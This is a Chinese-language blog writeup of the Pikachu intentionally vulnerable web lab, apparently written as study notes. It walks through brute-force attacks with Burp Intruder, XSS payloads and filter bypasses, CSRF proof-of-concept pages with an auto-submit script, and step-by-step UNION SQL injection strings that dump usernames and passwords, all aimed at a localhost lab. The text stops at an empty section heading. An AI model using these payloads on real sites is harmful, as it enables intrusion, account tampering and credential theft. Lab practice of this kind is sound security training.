Pikachu 靶场 Writeup

本文最后更新于 2022年11月21日 晚上

Pikachu 是国人hanlu 开发的一套 Web 渗透靶场,以人性化、友好度高著称。这里将记录其 Writeup 和一些笔记。

P.S.: 图片都进行了压缩,是因为多图杀猫。

Pikachu 靶场 Writeup

暴力爆破

从来没有哪个时代的黑客像今天一样热衷于猜解密码 —— 奥斯特洛夫斯基

  • 我们说一个web应用系统存在暴力破解漏洞,一般是指该 Web 应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。
    • 这里的认证安全策略, 包括:
      1. 是否要求用户设置复杂的密码;
      2. 是否每次认证都使用安全的验证码或者手机 OTP;
      3. 是否对尝试登录的行为进行判断和限制(如:连续 5次错误登录,进行账号锁定或 IP 地址锁定等);
      4. 是否采用了双因素认证;
      5. 等等。

基于表单的暴力破解

  • 没有验证码,直接使用 BurpSuite 的 Intruder 模块进行爆破即可。

(Intruder 模块的 Attack Type)

  • Sniper:
    • 仅用一组 Payload。
    • 依次瞄准每个 Payload 的位置,并一次将 Payload 放置到该位置(其他位置此时保持空白)。
    • 请求的总数是 Payload 的位置数 * Payload 的个数。
  • Battering ram
    • 仅用一组 Payload。
    • 同时将 Payload 放置到每个位置(所有位置此时保持一致)。
    • 请求的总数是 Payload 的个数。
  • Pitchfork
    • 使用多组 Payload。
    • 攻击同时遍历所有 Payload 集,并将一个 Payload 放入每个定义的位置。
    • 请求的总数是最小 Payload 集中的 Payload 数。
  • Cluster bomb
    • 使用多组 Payload。
    • 攻击依次迭代每个 Payload 集,以便测试 Payload 组合的所有排列。
    • 请求的总数是所有 Payload 集中的 Payload 数的乘积。【非常巨大】

验证码绕过(on server)

  • 有验证码,使用 BurpSuite 的 Reapter 模块,发现在输入错误账号密码的情况下,验证码是不变的。用户仅在输错验证码的情况下更新,按上题爆破即可。

验证码绕过(on client)

  • 有验证码,但是在前端上的。删除相应的 JavaScript 代码即可同上爆破。

token防爆破?

(Token 令牌防重放)

  1. 在服务器端生成一个唯一的随机标识号 Token,同时在当前用户的 Session 域中保存这个 Token;
  2. 然后将 Token 发送到客户端的 Form 表单中,在 Form 表单中使用隐藏域来存储这个 Token;
  3. 表单提交的时候连同这个 Token 一起提交到服务器端,然后在服务器端判断客户端提交上来的Token与服务器端生成的Token是否一致:
    • 如果不一致,说明是重复提交,此时服务器端就可以不处理重复提交的表单。
    • 如果一致,说明是处理表单提交,处理完后清除当前用户的 Session 域中存储的 Token。
  • 抓包,发现返回包里有 token 的新值,所以要实现爆破,必须记录在每次发包时使用上次返回包中的 token。

  • 首先要注意的是,必须得用单线程了——否则 token 肯定对不上。除此之外,得设置 token 的 payload 为返回包的 token。

  • 单线程直接在 Intruder 模块的 Options--Request Engine--Number of threads 中修改即可。

  • 每次发包使用上次返回包中的 token,首先抓取返回包中的 token:

  • Payload 的位置有两个,因此使用 Pitchfork 模式。第一个密码按照之前正常爆破就行;后者需要使用提取的 Token。

  • 除此之外,还需要设置重定向,保证发包收包是连续的:

  • 最后爆破成功。可以看到 123456789 的长度也和其他的不一样,这是因为它是爆破数据的第一个,token 是没有正确匹配的。

因此,Token 是不能防爆破的。

Cross-Site Scripting

  • Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表冲突,故又称 XSS。

  • 一般 XSS 可以分为如下几种常见类型:
    1.反射性 XSS;
    2.存储型 XSS;
    3.DOM型 XSS;

  • XSS 是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户

  • 在 XSS 漏洞的防范上,一般会采用两种方式进行处理:

    1. 输入过滤
    2. 输出转义

反射型 xss(get)

  • 输入框有字符数限制,有两种做法

    1. 直接通过 Hackbar,发送 Payload
    1
    http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert(/xss/)</script>&submit=submit#
    1. 删除前端关于字符数限制的 JavaScript 代码

输入 “kobe” 有彩蛋。🏀

反射型 xss(post)

  • 登录后输入 <script>alert(/xss/)</script> 即可

存储型 xss

  • 输入 <script>alert(/xss/)</script> 即可,相比于反射型,该 xss 存储在服务器上。之后刷新即可再次触发

存在一个 sql 注入的彩蛋⭕

DOM 型 xss

  • W3C 文档对象模型(DOM)是一个使程序和脚本有能力动态地访问和更新文档的内容、结构以及样式的平台和语言中立的接口
  • DOM 型 XSS 是基于 DOM 文档对象模型的一种漏洞。DOM 型 XSS 也能算广义的反射型 XSS,但 DOM 型 XSS 并不会和后台进行交互,仅涉及 Web 前端的安全问题,只能在客户端上进行防御。
  • 输入 123,出现 what do you see?。查看源码 document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";,发现是拼接到 <a href="123">what do you see?</a> 中。需要构造的目标是 <a href="" onclick="alert(/xss/)">,所以输入 ' onclick="alert(/xss/)"> 即可。

DOM 型 xss-x

  • 构造方式相同,仍然是输入 ' onclick="alert(/xss/)">,输入后 URL 变成 http://localhost/pikachu/vul/xss/xss_dom_x.php?text='+onclick="alert(/xss/)">,点击“有些费尽心机想要忘记的事情,后来真的就忘掉了”,触发 domxss()
  • 从源码中可以看出,它重新拼接得到新的链接 "<a href='"+xss+"'>就让往事都随风,都随风吧</a>",而点击该链接就会触发 xss。
  • DOM 型 XSS 只在前端,与后端毫无关系。而 DOM-X 型能够像反射型一样在 URL 中体现,将 URL 发给了受害者就能进行攻击。
  • 所以 DOM 型 xss 也不是完完全全的鸡肋。
    (飞雷神·二段🥷)

xss 之盲打

XSS盲打是一种攻击场景:尽可能地于一切可能的地方提交 XSS 语句,只要后台管理员看到某一条语句,此语句就能被执行。

  • 看到输入框就插上 xss 语句,前端无回显,但是管理员一登陆就会被触发。

xss 之过滤

  • 输入 <script>alert(/xss/)</script>,只回显“别说这些’>'的话,不要怕,就是干!”,显然是被过滤了。使用大小写绕过即可。
  • 尝试了重写绕过和注释绕过均失败。

输入 “yes” 有彩蛋😂

xss 之 htmlspecialchars

  • PHP htmlspecialchars() 函数:把预定义的字符转换为 HTML 实体
    • & (和号)成为 &amp
    • " (双引号)成为 &quot
    • ’ (单引号)成为 &#039
    • < (小于)成为 &lt
    • (大于)成为 &gt

  • 但是,引号类型是可选的
    • ENT_COMPAT - 默认。仅编码双引号。
    • ENT_QUOTES - 编码双引号和单引号。
    • ENT_NOQUOTES - 不编码任何引号。
  • 输入 & " ' < > 进行测试,发现仅单引号未过滤,说明是 ENT_COMPAT。构造 ' onclick = 'alert(1)' 即可。

xss 之 href 输出

  • JavaScript 伪协议:关联应用程序而使用的协议即为伪协议(对比 HTTP/HTTPS 这种真协议)。该协议声明了 URL 的主体 是 JavaScript 代码,并由 javascript 的解释器运行。
  • 大名鼎鼎的 javascript:void(0) 就是典型范例
  • 输入 & " ' < > 进行测试,发现全被过滤。所以使用 JavaScript 伪协议 javascript:alert(1) 即可。

输入 www.baidu.com 有彩蛋。❗

xss 之 js 输出

  • JavaScript 里面是不会对 tag 和字符实体进行解释的。这道题更多的是要考虑怎么修:在 JavaScript 的输出点应该使用 \ 对特殊字符进行转义
  • 闭合 $ms 即可。Payload:'</script><script>alert(/xss/)</script>'

输入 tmac 有彩蛋。🏀

CSRF

  • Cross-site request forgery 跨站请求伪造:在 CSRF 的攻击场景中攻击者会伪造一个请求,然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。
  • 防止 CSRF 的方法:
    • 对敏感信息的操作增加安全的 token;
    • 对敏感信息的操作增加安全的验证码;
    • 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

CSRF(get)

  • 根据右上角的提示可以登录进个人信息修改页面,提交并抓包,发现是 GET 传参且没有 token。所以构造 payload:http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=&add=&email=&submit=submit, 诱导点击即可

CSRF(post)

  • 相比于前一题,这里抓包发现是 POST 传参。因此,应该做一个自动提交表单的恶意页面挂在服务器上并让受害者触发。当用户点击这个恶意页面的链接时,就会自动向存在 CSRF 的服务器提交 POST 请求修改个人信息。
  • 看了Pikachu漏洞靶场系列之CSRF,这里使用 OWASP 家的工具 CSRFTester。但是实际使用时,我没能成功抓包(Java 一生之敌)。再加之此工具实在太老了……因此,我转而使用了CSRF PoC Generator
    (其实自行编写相应的 html 也是可行的)
  • 不过这个 poc 没有加入自动提交表单,所以加个自动点击提交按钮就行

    1
    2
    3
    4
    5
    <script>
    window.onload = function () {
    document.getElementById("postsubmit").click();
    }
    </script>
  • 放到服务器目录下,然后点击链接即可触发

CSRF(token)

  • 相比于之前的个人信息修改页面,它在 Form 表单的隐藏域中增加了 token 字段:
  • 而在修改时,它会验证 token,并在验证后调用 set_token() 重新生成 token:
  • 因此无法进行 CSRF 攻击。使用 token 是一个防御 CSRF 攻击的方法。

SQL-Inject

  • SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行,从而导致数据库受损。

  • 防御方法:

    1. 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
    2. 使用参数化(Parameterized Query/Parameterized Statement);
    3. 目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了“拼接”的方式,所以使用时需要慎重!

数字型注入(post)

  • BurpSuite 抓包,在 Repeater 中修改 id,查看响应结果。
  • payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 判断注入类型。【说明是数字型】
id=1 and 1 = 1
id=1 and 1 = 2

# 确定字段(列)数。【后者报错,说明字段(列)数为 2】
id=1 order by 2
id=1 order by 3

# 联合查询查看显示位。【有两个显示位】
id=0 union select 1,2

# 爆库名。【得到库名 pikachu。前者是所有库名,后者是查询当前所使用的数据库】
id=0 union select 1,group_concat(schema_name) from information_schema.schemata
## 或者
id=0 union select 1,database()

# 爆表名。【得到表名 ...users...】
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

# 爆列名。【得到列名 ...username,password...】
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

# 爆值。【得到用户名-密码对】
id=0 union select 1,group_concat(username,'-',password) from users

字符型注入(get)

  • payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 判断注入类型。【说明是字符型】
id=1' or 1=1#
id=1' or 1=2#

# 确定字段(列)数。【后者报错,说明字段(列)数为 2】
id=1' order by 2#
id=1' order by 3#

# 联合查询查看显示位。【有两个显示位】
id=0' union select 1,2#

# 爆库名。【得到库名 pikachu。前者是所有库名,后者是查询当前所使用的数据库】
id=0' union select 1,group_concat(schema_name) from information_schema.schemata#
## 或者
id=0' union select 1,database()#

# 爆表名。【得到表名 ...users...】
id=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

# 爆列名。【得到列名 ...username,password...】
id=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

# 爆值。【得到用户名-密码对】
id=0' union select 1,group_concat(username,'-',password) from users#

搜索型注入

  • 使用上面的字符型注入方法也可实现注入,不过既然是新题,就考虑新的绕过方式。本题使用的查询语句为:
1
select username,id,email from member where username like '%$name%'
  • 所以 payload 为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 确定字段(列)数。【后者报错,说明字段(列)数为 3】
id=1%' order by 3#
id=1%' order by 4#

# 联合查询查看显示位。【有三个显示位】
id=0%' union select 1,2,3#

# 爆库名。【得到库名 pikachu。前者是所有库名,后者是查询当前所使用的数据库】
id=0%' union select 1,2,group_concat(schema_name) from information_schema.schemata#
## 或者
id=0%' union select 1,2,database()#

# 爆表名。【得到表名 ...users...】
id=0%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

# 爆列名。【得到列名 ...username,password...】
id=0%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

# 爆值。【得到用户名-密码对】
id=0%' union select 1,2,group_concat(username,'-',password) from users#

输入 id = %%,能够查询表中非 NULL 的值。这是因为 like '%%'默认为查询所有。(即 % 为通配符)

xx型注入


Pikachu 靶场 Writeup
https://justloseit.top/Pikachu 靶场 Writeup/
作者
Mobilis In Mobili
发布于
2021年11月29日
更新于
2022年11月21日
许可协议